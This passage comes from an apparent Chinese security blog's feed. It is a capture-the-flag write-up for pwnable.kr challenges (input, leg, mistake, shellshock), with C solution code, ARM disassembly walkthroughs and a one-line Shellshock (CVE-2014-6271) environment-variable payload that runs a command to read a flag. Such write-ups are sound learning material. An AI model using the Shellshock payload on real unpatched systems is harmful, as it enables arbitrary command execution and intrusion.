class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 然后输入流输入\x00\x0a\x00\xff</span></span><br><span class="line">        read(<span class="number">0</span>, buf, <span class="number">4</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x0a\x00\xff&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="comment">// 然后错误流输入\x00\x0a\x00\xff</span></span><br><span class="line">        read(<span class="number">2</span>, buf, <span class="number">4</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x0a\x02\xff&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Stage 2 clear!\n&quot;</span>);</span><br></pre></td></tr></table></figure><p>第二关的要去是往输入流和错误流中写入指定的字符串，这里我们尝试使用write往0和2中写入数据。发现直接写并不能写入，所以这里直接使用了pipe和fork进行处理：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">int pid = fork();</span><br><span class="line">if(pid == 0)&#123;</span><br><span class="line">close(p[1]);close(p2[1]);</span><br><span class="line">dup2(p[0], 0);</span><br><span class="line">dup2(p2[0], 2);</span><br><span class="line">close(p[0]);</span><br><span class="line">// close(p2[0]);</span><br><span class="line">// close(0);</span><br><span class="line">execvp(&quot;input&quot;, args);</span><br><span class="line">&#125;</span><br><span class="line">else&#123;</span><br><span class="line">close(p[0]);close(p2[0]);</span><br><span class="line">write(p[1],&quot;\x00\x0a\x00\xff&quot;, 4);</span><br><span class="line">write(p2[1], &quot;\x00\x0a\x02\xff&quot;, 4);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>第三关比较简单，就是设置环境变量。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// env</span></span><br><span class="line"><span class="comment">// 接下来存在环境变量 &#x27;\xde\xad\xbe\xef&#x27;,对应值为&#x27;\xca\xfe\xba\xbe&#x27;</span></span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">strcmp</span>(<span class="string">&quot;\xca\xfe\xba\xbe&quot;</span>, getenv(<span class="string">&quot;\xde\xad\xbe\xef&quot;</span>))) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 3 clear!\n&quot;</span>);</span><br></pre></td></tr></table></figure><p>这个肯定没问题，毕竟我们之前已经设置过了：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">char</span>* env2 = <span class="string">&quot;\xde\xad\xbe\xef&quot;</span>;</span><br><span class="line"><span class="type">char</span>* value2 = <span class="string">&quot;\xca\xfe\xba\xbe&quot;</span>;</span><br><span class="line">setenv(env2, value2, <span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>三行解决问题</p><p>第四关有点疑惑，是要求我们在指定的位置创建一个文件，然后里面放有指定内容即可。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// file</span></span><br><span class="line"><span class="comment">// 然后存在一个文件叫做\x0a</span></span><br><span class="line">FILE* fp = fopen(<span class="string">&quot;\x0a&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line"><span class="keyword">if</span>(!fp) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="comment">// 从文件中读出 4个一字节的数独到buf中</span></span><br><span class="line"><span class="keyword">if</span>( fread(buf, <span class="number">4</span>, <span class="number">1</span>, fp)!=<span class="number">1</span> ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="comment">// 文件中的值为\x00\x00\x00\x00</span></span><br><span class="line"><span class="keyword">if</span>( <span class="built_in">memcmp</span>(buf, <span class="string">&quot;\x00\x00\x00\x00&quot;</span>, <span class="number">4</span>) ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">fclose(fp);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 4 clear!\n&quot;</span>);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>问题是，我们都知道，这个input所在目录是不可写的。。。那么我们得如何创建文件呢？这里想到，如果是本程序执行的execvp，那么创建的文件会不会就是在本目录<br>下呢？（希望知情大佬告知）</p><p>最后一关比较麻烦，是网络的知识：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// network</span></span><br><span class="line"><span class="type">int</span> sd, cd;</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_in</span> <span class="title">saddr</span>, <span class="title">caddr</span>;</span></span><br><span class="line">sd = socket(AF_INET, SOCK_STREAM, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span>(sd == <span class="number">-1</span>)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;socket error, tell admin\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">saddr.sin_family = AF_INET;</span><br><span class="line">saddr.sin_addr.s_addr = INADDR_ANY;</span><br><span class="line"><span class="comment">// 这要求监听一个端口，参数为第63个为端口</span></span><br><span class="line">saddr.sin_port = htons( atoi(argv[<span class="string">&#x27;C&#x27;</span>]) );</span><br><span class="line"><span class="keyword">if</span>(bind(sd, (<span class="keyword">struct</span> sockaddr*)&amp;saddr, <span class="keyword">sizeof</span>(saddr)) &lt; <span class="number">0</span>)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;bind error, use another port\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line">listen(sd, <span class="number">1</span>);</span><br><span class="line"><span class="type">int</span> c = <span class="keyword">sizeof</span>(<span class="keyword">struct</span> sockaddr_in);</span><br><span class="line">cd = accept(sd, (<span class="keyword">struct</span> sockaddr *)&amp;caddr, (<span class="type">socklen_t</span>*)&amp;c);</span><br><span class="line"><span class="keyword">if</span>(cd &lt; <span class="number">0</span>)&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;accept error, tell admin\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 这个端口上要能够接收到字符串\xde\xad\xbe\xef</span></span><br><span class="line"><span class="keyword">if</span>( recv(cd, buf, <span class="number">4</span>, <span class="number">0</span>) != <span class="number">4</span> ) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">memcmp</span>(buf, <span class="string">&quot;\xde\xad\xbe\xef&quot;</span>, <span class="number">4</span>)) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Stage 5 clear!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>整体逻辑便是【监听当前’C’传入的端口，并且从这个端口上接收数据\xde\xad\xbe\xef】。那么我们这边就可以反向处理，往本地ip的’C’端口发送指定的内容，从而完成关卡。<br>最后，由于函数会有一个打开flag的操作，而我们当前的路径并不是在/home/input2下，所以当前目录下没有flag。于是我们可以使用</p><pre><code>ln /home/input2/flag flag</code></pre><p>进行符号链接。</p><h2 id="leg-2-pt">leg - 2 pt</h2><p>这个关卡是查看arm汇编，这里先贴一点代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">key1</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="keyword">asm</span>(<span class="string">&quot;mov r3, pc\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">key2</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="keyword">asm</span>(</span><br><span class="line"><span class="string">&quot;push&#123;r6&#125;\n&quot;</span></span><br><span class="line"><span class="string">&quot;addr6, pc, $1\n&quot;</span></span><br><span class="line"><span class="string">&quot;bxr6\n&quot;</span></span><br><span class="line"><span class="string">&quot;.code   16\n&quot;</span></span><br><span class="line"><span class="string">&quot;movr3, pc\n&quot;</span></span><br><span class="line"><span class="string">&quot;addr3, $0x4\n&quot;</span></span><br><span class="line"><span class="string">&quot;push&#123;r3&#125;\n&quot;</span></span><br><span class="line"><span class="string">&quot;pop&#123;pc&#125;\n&quot;</span></span><br><span class="line"><span class="string">&quot;.code32\n&quot;</span></span><br><span class="line"><span class="string">&quot;pop&#123;r6&#125;\n&quot;</span></span><br><span class="line">);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">key3</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="keyword">asm</span>(<span class="string">&quot;mov r3, lr\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="type">int</span> key=<span class="number">0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Daddy has very strong arm! : &quot;</span>);</span><br><span class="line"><span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;key);</span><br><span class="line"><span class="keyword">if</span>( (key1()+key2()+key3()) == key )&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Congratz!\n&quot;</span>);</span><br><span class="line"><span class="type">int</span> fd = open(<span class="string">&quot;flag&quot;</span>, O_RDONLY);</span><br><span class="line"><span class="type">char</span> buf[<span class="number">100</span>];</span><br><span class="line"><span class="type">int</span> r = read(fd, buf, <span class="number">100</span>);</span><br><span class="line">write(<span class="number">0</span>, buf, r);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;I have strong leg :P\n&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到还是比较麻烦的。。。我们先来复习一下ARM：</p><h3 id="寄存器含义">寄存器含义</h3><p><img src="/2017/07/18/pwnable-kr%E7%9A%84%E5%8E%86%E9%99%A91/pwnable00.png" alt=""></p><ul><li>r15 – PC:程序计数器，在arm模式下，记录的是当前pc + 8，在thumb模式下，记录的是当前pc + 4</li><li>r14 – LR:链接寄存器，记录了返回值地址。</li><li>r13 – SP:栈寄存器</li></ul><h3 id="操作码">操作码</h3><p>基本的指令如下<br>opcode  {<cond>}{S}    <Rd>,<Rn>  {,<operand2>}<br>其中&lt;&gt;为必须，{}为可选</operand2></Rn></Rd></cond></p><pre><code>* cond: 执行条件* Rd:表示目标寄存器。* Rn:表示第一个操作数的寄存器。* operand2:表示第2个操作数。</code></pre><p>其中，operand2中允许以下的表达:</p><ul><li>#immed_8r:常数表达式</li><li>Rm:寄存器</li></ul><h3 id="存储方式">存储方式</h3><p>AR采用的是Load-store结构,也就是在内存交换的时候，使用store指令存入内存，再用load读出内存中的数据。<br>例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">STMFD SP! &#123;R8-R9&#125;</span><br><span class="line">含义：(1)SP=SP-4字节 (2) R9---&gt;SP  (3)SP=SP-4  (4) R8--&gt;SP</span><br><span class="line">LDMFD SP! &#123;R8-R9,PC&#125;</span><br><span class="line">含义：(1)SP--&gt;R8   (2)SP=SP+4  (3)SP--&gt;R9  (4)SP=SP+4  (5)SP--&gt;PC  (6) SP=SP+4</span><br></pre></td></tr></table></figure><h3 id="函数调用">函数调用</h3><p>BL/BLX/BX调用函数，此时使用r14（链接寄存器）存入此时下一跳语句。<br>返回值存放在r0中。</p><h3 id="arm的指令对齐">arm的指令对齐</h3><p>ARM指令是字对齐（指令的地址后两位为［1:0]=0b00），Thumb是半字对齐（指令的地址后两位为［1:0]=0bx0,x为0或1）。指令的地址的最后一位必为0。<br>所以当使用bx进行跳转的时候，必须保证指令地址的最后一位为0。因此如果指定的跳转地址不是对其的话，就会将其与0xfffffffc/0xffffffe进行与在进行计算</p><p>参数传递的时候，会首先将前四个参数放在r0-r4上，之后的参数才会放到栈上。</p><p>回到代码上，首先key1的汇编如下：</p><figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x00008cd4</span> &lt;+<span class="number">0</span>&gt;:<span class="keyword">push</span>&#123;<span class="built_in">r11</span>&#125;<span class="comment">; (str r11, [sp, #-4]!)</span></span><br><span class="line"><span class="number">0x00008cd8</span> &lt;+<span class="number">4</span>&gt;:<span class="keyword">add</span><span class="built_in">r11</span>, <span class="built_in">sp</span>, <span class="number">#0</span><span class="comment">; r11 = sp + 0</span></span><br><span class="line"><span class="number">0x00008cdc</span> &lt;+<span class="number">8</span>&gt;:<span class="keyword">mov</span><span class="built_in">r3</span>, <span class="built_in">pc</span></span><br><span class="line"><span class="number">0x00008ce0</span> &lt;+<span class="number">12</span>&gt;:<span class="keyword">mov</span><span class="built_in">r0</span>, <span class="built_in">r3</span></span><br><span class="line"><span class="number">0x00008ce4</span> &lt;+<span class="number">16</span>&gt;:<span class="keyword">sub</span><span class="built_in">sp</span>, <span class="built_in">r11</span>, <span class="number">#0</span></span><br><span class="line"><span class="number">0x00008ce8</span> &lt;+<span class="number">20</span>&gt;:<span class="keyword">pop</span>&#123;<span class="built_in">r11</span>&#125;<span class="comment">; (ldr r11, [sp], #4)</span></span><br><span class="line"><span class="number">0x00008cec</span> &lt;+<span class="number">24</span>&gt;:<span class="keyword">bx</span><span class="built_in">lr</span></span><br></pre></td></tr></table></figure><p>此时的返回值可以知道，就是当前的pc + 8，也即是0x8ce4</p><p>key2如下:</p><figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x00008cf0</span> &lt;+<span class="number">0</span>&gt;:<span class="keyword">push</span>&#123;<span class="built_in">r11</span>&#125;<span class="comment">; (str r11, [sp, #-4]!)</span></span><br><span class="line"><span class="number">0x00008cf4</span> &lt;+<span class="number">4</span>&gt;:<span class="keyword">add</span><span class="built_in">r11</span>, <span class="built_in">sp</span>, <span class="number">#0</span></span><br><span class="line"><span class="number">0x00008cf8</span> &lt;+<span class="number">8</span>&gt;:<span class="keyword">push</span>&#123;<span class="built_in">r6</span>&#125;<span class="comment">; (str r6, [sp, #-4]!)</span></span><br><span class="line"><span class="number">0x00008cfc</span> &lt;+<span class="number">12</span>&gt;:<span class="keyword">add</span><span class="built_in">r6</span>, <span class="built_in">pc</span>, <span class="number">#1</span></span><br><span class="line"><span class="number">0x00008d00</span> &lt;+<span class="number">16</span>&gt;:<span class="keyword">bx</span><span class="built_in">r6</span></span><br><span class="line"><span class="number">0x00008d04</span> &lt;+<span class="number">20</span>&gt;:<span class="keyword">mov</span><span class="built_in">r3</span>, <span class="built_in">pc</span></span><br><span class="line"><span class="number">0x00008d06</span> &lt;+<span class="number">22</span>&gt;:<span class="keyword">adds</span><span class="built_in">r3</span>, <span class="number">#4</span></span><br><span class="line"><span class="number">0x00008d08</span> &lt;+<span class="number">24</span>&gt;:<span class="keyword">push</span>&#123;<span class="built_in">r3</span>&#125;</span><br><span class="line"><span class="number">0x00008d0a</span> &lt;+<span class="number">26</span>&gt;:<span class="keyword">pop</span>&#123;<span class="built_in">pc</span>&#125;</span><br><span class="line"><span class="number">0x00008d0c</span> &lt;+<span class="number">28</span>&gt;:<span class="keyword">pop</span>&#123;<span class="built_in">r6</span>&#125;<span class="comment">; (ldr r6, [sp], #4)</span></span><br><span class="line"><span class="number">0x00008d10</span> &lt;+<span class="number">32</span>&gt;:<span class="keyword">mov</span><span class="built_in">r0</span>, <span class="built_in">r3</span></span><br><span class="line"><span class="number">0x00008d14</span> &lt;+<span class="number">36</span>&gt;:<span class="keyword">sub</span><span class="built_in">sp</span>, <span class="built_in">r11</span>, <span class="number">#0</span></span><br><span class="line"><span class="number">0x00008d18</span> &lt;+<span class="number">40</span>&gt;:<span class="keyword">pop</span>&#123;<span class="built_in">r11</span>&#125;<span class="comment">; (ldr r11, [sp], #4)</span></span><br><span class="line"><span class="number">0x00008d1c</span> &lt;+<span class="number">44</span>&gt;:<span class="keyword">bx</span><span class="built_in">lr</span></span><br></pre></td></tr></table></figure><p>这个地方有一个让我奇怪的问题，这个r6的地址显然不对啊。后来查到一个叫做<strong>thumb指令</strong>的东西，发现前面的代码中也有相关的蛛丝马迹</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;.code   16\n&quot;</span></span><br><span class="line"><span class="string">&quot;movr3, pc\n&quot;</span></span><br><span class="line"><span class="string">&quot;addr3, $0x4\n&quot;</span></span><br><span class="line"><span class="string">&quot;push&#123;r3&#125;\n&quot;</span></span><br><span class="line"><span class="string">&quot;pop&#123;pc&#125;\n&quot;</span></span><br><span class="line"><span class="string">&quot;.code32\n&quot;</span></span><br><span class="line"><span class="string">&quot;pop&#123;r6&#125;\n&quot;</span></span><br></pre></td></tr></table></figure><p>.code 16的声明就意味着使用的就是thumb指令集。而此时的使用哪种指令集由低位决定。由于我们前面有提</p><pre><code>add r6, pc, #1</code></pre><p>此时，状态是由寄存器Rn的最低位来指定的，如果操作数寄存器的状态位Bit0=0，则进入ARM状态，如果Bit0=1，则进入Thumb状态。于是此时状态为Thumb，地址要进行与0xfffffffe相与，得到的地址为0x00008d04.于是此时的返回值就是0x8d08 + 4</p><p>最后是key3:</p><figure class="highlight arm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x00008d20</span> &lt;+<span class="number">0</span>&gt;:<span class="keyword">push</span>&#123;<span class="built_in">r11</span>&#125;<span class="comment">; (str r11, [sp, #-4]!)</span></span><br><span class="line"><span class="number">0x00008d24</span> &lt;+<span class="number">4</span>&gt;:<span class="keyword">add</span><span class="built_in">r11</span>, <span class="built_in">sp</span>, <span class="number">#0</span></span><br><span class="line"><span class="number">0x00008d28</span> &lt;+<span class="number">8</span>&gt;:<span class="keyword">mov</span><span class="built_in">r3</span>, <span class="built_in">lr</span></span><br><span class="line"><span class="number">0x00008d2c</span> &lt;+<span class="number">12</span>&gt;:<span class="keyword">mov</span><span class="built_in">r0</span>, <span class="built_in">r3</span></span><br><span class="line"><span class="number">0x00008d30</span> &lt;+<span class="number">16</span>&gt;:<span class="keyword">sub</span><span class="built_in">sp</span>, <span class="built_in">r11</span>, <span class="number">#0</span></span><br><span class="line"><span class="number">0x00008d34</span> &lt;+<span class="number">20</span>&gt;:<span class="keyword">pop</span>&#123;<span class="built_in">r11</span>&#125;<span class="comment">; (ldr r11, [sp], #4)</span></span><br><span class="line"><span class="number">0x00008d38</span> &lt;+<span class="number">24</span>&gt;:<span class="keyword">bx</span><span class="built_in">lr</span></span><br></pre></td></tr></table></figure><p>这里可以看到，这里将lr 交给了r3，也就是将【函数的返回地址】交给了r0,所以这里的答案就是：<br>0x00008d80</p><p>综上，key1+key2+key3 = 0x8ce4 + 0x8d08 + 4 + 0x8d80</p><h2 id="mistake-1-pt">mistake - 1 pt</h2><p>这个题目提示说，是一个简单的题目，并且是真实漏洞，希望我们不要想象的太难。并且提示上提到说是运算符优先级的问题，拿到源码看一下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;fcntl.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PW_LEN 10</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> XORKEY 1</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">xor</span><span class="params">(<span class="type">char</span>* s, <span class="type">int</span> len)</span>&#123;</span><br><span class="line">        <span class="type">int</span> i;</span><br><span class="line">        <span class="keyword">for</span>(i=<span class="number">0</span>; i&lt;len; i++)&#123;</span><br><span class="line">                s[i] ^= XORKEY;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> fd;</span><br><span class="line">        <span class="keyword">if</span>(fd=open(<span class="string">&quot;/home/mistake/password&quot;</span>,O_RDONLY,<span class="number">0400</span>) &lt; <span class="number">0</span>)&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;can&#x27;t open password %d\n&quot;</span>, fd);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;do not bruteforce...\n&quot;</span>);</span><br><span class="line">        sleep(time(<span class="number">0</span>)%<span class="number">20</span>);</span><br><span class="line"></span><br><span class="line">        <span class="type">char</span> pw_buf[PW_LEN+<span class="number">1</span>];</span><br><span class="line">        <span class="type">int</span> len;</span><br><span class="line">        <span class="keyword">if</span>(!(len=read(fd,pw_buf,PW_LEN) &gt; <span class="number">0</span>))&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;read error\n&quot;</span>);</span><br><span class="line">                close(fd);</span><br><span class="line">                <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">char</span> pw_buf2[PW_LEN+<span class="number">1</span>];</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;input password : &quot;</span>);</span><br><span class="line">        <span class="built_in">scanf</span>(<span class="string">&quot;%10s&quot;</span>, pw_buf2);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// xor your input</span></span><br><span class="line">        xor(pw_buf2, <span class="number">10</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(!<span class="built_in">strncmp</span>(pw_buf, pw_buf2, PW_LEN))&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Password OK\n&quot;</span>);</span><br><span class="line">                system(<span class="string">&quot;/bin/cat flag\n&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">                <span class="built_in">printf</span>(<span class="string">&quot;Wrong Password\n&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        close(fd);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>看了好一会儿才发现问题所在。。。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fd=open(&quot;/home/mistake/password&quot;,O_RDONLY,0400) &lt; 0</span><br></pre></td></tr></table></figure><p>其实**=<strong>优先级是低于</strong>&lt;**的，并且open总是&gt;0的，因此得到的fd应该为0，也就是输入流，这里就相当于从输入流中读取数据进行异或了。所以这里我们只需要输入两组长度为10的数据，并且保证其中一个为另一个 xor 1 即可</p><h2 id="shellshock-1-pt">shellshock - 1 pt</h2><p>这个题目是一个真实漏洞:<br>CVE-2014-6271<br>这个漏洞的利用在于，其解析环境变量的时候，在遇到以“(){”开头通过环境变量来定义的，却没有出现}的环境变量的时候，将会执行其后面的内容，从而造成任意指令执行。<br>通过设置环境变量:</p><pre><code>export x='() &#123; :;&#125;; /home/shellshock/bash -c &quot;cat /home/shellshock/flag&quot;'</code></pre><h2 id="相关事宜">相关事宜</h2><p>IRC : <a href="http://irc.netgarage.org:6667">irc.netgarage.org:6667</a> / #<a href="http://pwnable.kr">pwnable.kr</a></p><p>参考文章:<br><a href="http://blog.csdn.net/tigerjibo/article/details/6201716">http://blog.csdn.net/tigerjibo/article/details/6201716</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;近期有个比赛哇。。最近恶补一下pwn把。。&lt;/p&gt;
&lt;h2 id=&quot;more-pwnable-kr的历险1&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="pwnable" scheme="https://showlinkroom.me/tags/pwnable/"/>
    
  </entry>
  
  <entry>
    <title>ELF段加密研究 -- ELF文件格式</title>
    <link href="https://showlinkroom.me/2017/07/11/ELF%E6%AE%B5%E5%8A%A0%E5%AF%86%E7%A0%94%E7%A9%B6/"/>
    <id>https://showlinkroom.me/2017/07/11/ELF%E6%AE%B5%E5%8A%A0%E5%AF%86%E7%A0%94%E7%A9%B6/</id>
    <published>2017-07-11T08:49:24.000Z</published>
    <updated>2020-07-16T13:31:30.382Z</updated>
    
